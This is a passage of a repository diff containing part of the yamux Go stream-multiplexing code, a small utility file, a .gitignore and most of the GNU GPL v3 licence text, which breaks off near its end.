window := atomic.LoadUint32(&s.sendWindow)
if window == 0 {
goto WAIT
}
// Determine the flags if any
flags = s.sendFlags()
// Send up to our send window
max = min(window, uint32(len(b)))
body = b[:max]
// Send the header
s.sendHdr.encode(typeData, flags, s.id, max)
if err = s.session.waitForSendErr(s.sendHdr, body, s.sendErr); err != nil {
if errors.Is(err, ErrSessionShutdown) || errors.Is(err, ErrConnectionWriteTimeout) {
// Message left in ready queue, header re-use is unsafe.
s.sendHdr = header(make([]byte, headerSize))
}
return 0, err
}
// Reduce our send window
atomic.AddUint32(&s.sendWindow, ^uint32(max-1))
// Unlock
return int(max), err
WAIT:
var timeout <-chan time.Time
var timer *time.Timer
writeDeadline := s.writeDeadline.Load().(time.Time)
if !writeDeadline.IsZero() {
delay := time.Until(writeDeadline)
timer = time.NewTimer(delay)
timeout = timer.C
}
select {
case <-s.session.shutdownCh:
case <-s.sendNotifyCh:
case <-timeout:
return 0, ErrTimeout
}
if timer != nil {
if !timer.Stop() {
<-timeout
}
}
goto START
}
// sendFlags determines any flags that are appropriate
// based on the current stream state
func (s *Stream) sendFlags() uint16 {
s.stateLock.Lock()
defer s.stateLock.Unlock()
var flags uint16
switch s.state {
case streamInit:
flags |= flagSYN
s.state = streamSYNSent
case streamSYNReceived:
flags |= flagACK
s.state = streamEstablished
}
return flags
}
// sendWindowUpdate potentially sends a window update enabling
// further writes to take place. Must be invoked with the lock.
func (s *Stream) sendWindowUpdate() error {
s.controlHdrLock.Lock()
defer s.controlHdrLock.Unlock()
// Determine the delta update
max := s.session.config.MaxStreamWindowSize
var bufLen uint32
s.recvLock.Lock()
if s.recvBuf != nil {
bufLen = uint32(s.recvBuf.Len())
}
delta := (max - bufLen) - s.recvWindow
// Determine the flags if any
flags := s.sendFlags()
// Check if we can omit the update
if delta < (max/2) && flags == 0 {
s.recvLock.Unlock()
return nil
}
// Update our window
s.recvWindow += delta
s.recvLock.Unlock()
// Send the header
s.controlHdr.encode(typeWindowUpdate, flags, s.id, delta)
if err := s.session.waitForSendErr(s.controlHdr, nil, s.controlErr); err != nil {
if errors.Is(err, ErrSessionShutdown) || errors.Is(err, ErrConnectionWriteTimeout) {
// Message left in ready queue, header re-use is unsafe.
s.controlHdr = header(make([]byte, headerSize))
}
return err
}
return nil
}
// sendClose is used to send a FIN
func (s *Stream) sendClose() error {
s.controlHdrLock.Lock()
defer s.controlHdrLock.Unlock()
flags := s.sendFlags()
flags |= flagFIN
s.controlHdr.encode(typeWindowUpdate, flags, s.id, 0)
if err := s.session.waitForSendErr(s.controlHdr, nil, s.controlErr); err != nil {
if errors.Is(err, ErrSessionShutdown) || errors.Is(err, ErrConnectionWriteTimeout) {
// Message left in ready queue, header re-use is unsafe.
s.controlHdr = header(make([]byte, headerSize))
}
return err
}
return nil
}
// Close is used to close the stream
func (s *Stream) Close() error {
closeStream := false
s.stateLock.Lock()
switch s.state {
// Opened means we need to signal a close
case streamSYNSent:
fallthrough
case streamSYNReceived:
fallthrough
case streamEstablished:
s.state = streamLocalClose
goto SEND_CLOSE
case streamLocalClose:
case streamRemoteClose:
s.state = streamClosed
closeStream = true
goto SEND_CLOSE
case streamClosed:
case streamReset:
default:
panic("unhandled state")
}
s.stateLock.Unlock()
return nil
SEND_CLOSE:
// This shouldn't happen (the more realistic scenario to cancel the
// timer is via processFlags) but just in case this ever happens, we
// cancel the timer to prevent dangling timers.
if s.closeTimer != nil {
s.closeTimer.Stop()
s.closeTimer = nil
}
// If we have a StreamCloseTimeout set we start the timeout timer.
// We do this only if we're not already closing the stream since that
// means this was a graceful close.
//
// This prevents memory leaks if one side (this side) closes and the
// remote side poorly behaves and never responds with a FIN to complete
// the close. After the specified timeout, we clean our resources up no
// matter what.
if !closeStream && s.session.config.StreamCloseTimeout > 0 {
s.closeTimer = time.AfterFunc(
s.session.config.StreamCloseTimeout, s.closeTimeout)
}
s.stateLock.Unlock()
s.sendClose()
s.notifyWaiting()
if closeStream {
s.session.closeStream(s.id)
}
return nil
}
// closeTimeout is called after StreamCloseTimeout during a close to
// close this stream.
func (s *Stream) closeTimeout() {
// Close our side forcibly
s.forceClose()
// Free the stream from the session map
s.session.closeStream(s.id)
// Send a RST so the remote side closes too.
s.sendLock.Lock()
defer s.sendLock.Unlock()
hdr := header(make([]byte, headerSize))
hdr.encode(typeWindowUpdate, flagRST, s.id, 0)
_ = s.session.sendNoWait(hdr)
}
// forceClose is used for when the session is exiting
func (s *Stream) forceClose() {
s.stateLock.Lock()
s.state = streamClosed
s.stateLock.Unlock()
s.notifyWaiting()
}
// processFlags is used to update the state of the stream
// based on set flags, if any. Lock must be held
func (s *Stream) processFlags(flags uint16) error {
s.stateLock.Lock()
defer s.stateLock.Unlock()
// Close the stream without holding the state lock
closeStream := false
defer func() {
if closeStream {
if s.closeTimer != nil {
// Stop our close timeout timer since we gracefully closed
s.closeTimer.Stop()
}
s.session.closeStream(s.id)
}
}()
if flags&flagACK == flagACK {
if s.state == streamSYNSent {
s.state = streamEstablished
}
asyncNotify(s.establishCh)
s.session.establishStream(s.id)
}
if flags&flagFIN == flagFIN {
switch s.state {
case streamSYNSent:
fallthrough
case streamSYNReceived:
fallthrough
case streamEstablished:
s.state = streamRemoteClose
s.notifyWaiting()
case streamLocalClose:
s.state = streamClosed
closeStream = true
s.notifyWaiting()
default:
s.session.logger.Printf("[ERR] yamux: unexpected FIN flag in state %d", s.state)
return ErrUnexpectedFlag
}
}
if flags&flagRST == flagRST {
s.state = streamReset
closeStream = true
s.notifyWaiting()
}
return nil
}
// notifyWaiting notifies all the waiting channels
func (s *Stream) notifyWaiting() {
asyncNotify(s.recvNotifyCh)
asyncNotify(s.sendNotifyCh)
asyncNotify(s.establishCh)
}
// incrSendWindow updates the size of our send window
func (s *Stream) incrSendWindow(hdr header, flags uint16) error {
if err := s.processFlags(flags); err != nil {
return err
}
// Increase window, unblock a sender
atomic.AddUint32(&s.sendWindow, hdr.Length())
asyncNotify(s.sendNotifyCh)
return nil
}
// readData is used to handle a data frame
func (s *Stream) readData(hdr header, flags uint16, conn io.Reader) error {
if err := s.processFlags(flags); err != nil {
return err
}
// Check that our recv window is not exceeded
length := hdr.Length()
if length == 0 {
return nil
}
// Wrap in a limited reader
conn = &io.LimitedReader{R: conn, N: int64(length)}
// Copy into buffer
s.recvLock.Lock()
if length > s.recvWindow {
s.session.logger.Printf("[ERR] yamux: receive window exceeded (stream: %d, remain: %d, recv: %d)", s.id, s.recvWindow, length)
s.recvLock.Unlock()
return ErrRecvWindowExceeded
}
if s.recvBuf == nil {
// Allocate the receive buffer just-in-time to fit the full data frame.
// This way we can read in the whole packet without further allocations.
s.recvBuf = bytes.NewBuffer(make([]byte, 0, length))
}
copiedLength, err := io.Copy(s.recvBuf, conn)
if err != nil {
s.session.logger.Printf("[ERR] yamux: Failed to read stream data: %v", err)
s.recvLock.Unlock()
return err
}
// Decrement the receive window
s.recvWindow -= uint32(copiedLength)
s.recvLock.Unlock()
// Unblock any readers
asyncNotify(s.recvNotifyCh)
return nil
}
// SetDeadline sets the read and write deadlines
func (s *Stream) SetDeadline(t time.Time) error {
if err := s.SetReadDeadline(t); err != nil {
return err
}
if err := s.SetWriteDeadline(t); err != nil {
return err
}
return nil
}
// SetReadDeadline sets the deadline for blocked and future Read calls.
func (s *Stream) SetReadDeadline(t time.Time) error {
s.readDeadline.Store(t)
asyncNotify(s.recvNotifyCh)
return nil
}
// SetWriteDeadline sets the deadline for blocked and future Write calls
func (s *Stream) SetWriteDeadline(t time.Time) error {
s.writeDeadline.Store(t)
asyncNotify(s.sendNotifyCh)
return nil
}
// Shrink is used to compact the amount of buffers utilized
// This is useful when using Yamux in a connection pool to reduce
// the idle memory utilization.
func (s *Stream) Shrink() {
s.recvLock.Lock()
if s.recvBuf != nil && s.recvBuf.Len() == 0 {
s.recvBuf = nil
}
s.recvLock.Unlock()
}
+50
View File
@@ -0,0 +1,50 @@
package yamux
import (
"sync"
"time"
)
// Logger is a abstract of *log.Logger
type Logger interface {
Print(v ...interface{})
Printf(format string, v ...interface{})
Println(v ...interface{})
}
var (
timerPool = &sync.Pool{
New: func() interface{} {
timer := time.NewTimer(time.Hour * 1e6)
timer.Stop()
return timer
},
}
)
// asyncSendErr is used to try an async send of an error
func asyncSendErr(ch chan error, err error) {
if ch == nil {
return
}
select {
case ch <- err:
default:
}
}
// asyncNotify is used to signal a waiting goroutine
func asyncNotify(ch chan struct{}) {
select {
case ch <- struct{}{}:
default:
}
}
// min computes the minimum of two values
func min(a, b uint32) uint32 {
if a < b {
return a
}
return b
}
+9
View File
@@ -0,0 +1,9 @@
/beignet
payload.bin
.DS_Store
/.go-cache
/.go-modcache
/.zig-cache
/testdata/runner/runner
/runner
*.dylib
+674
View File
@@ -0,0 +1,674 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
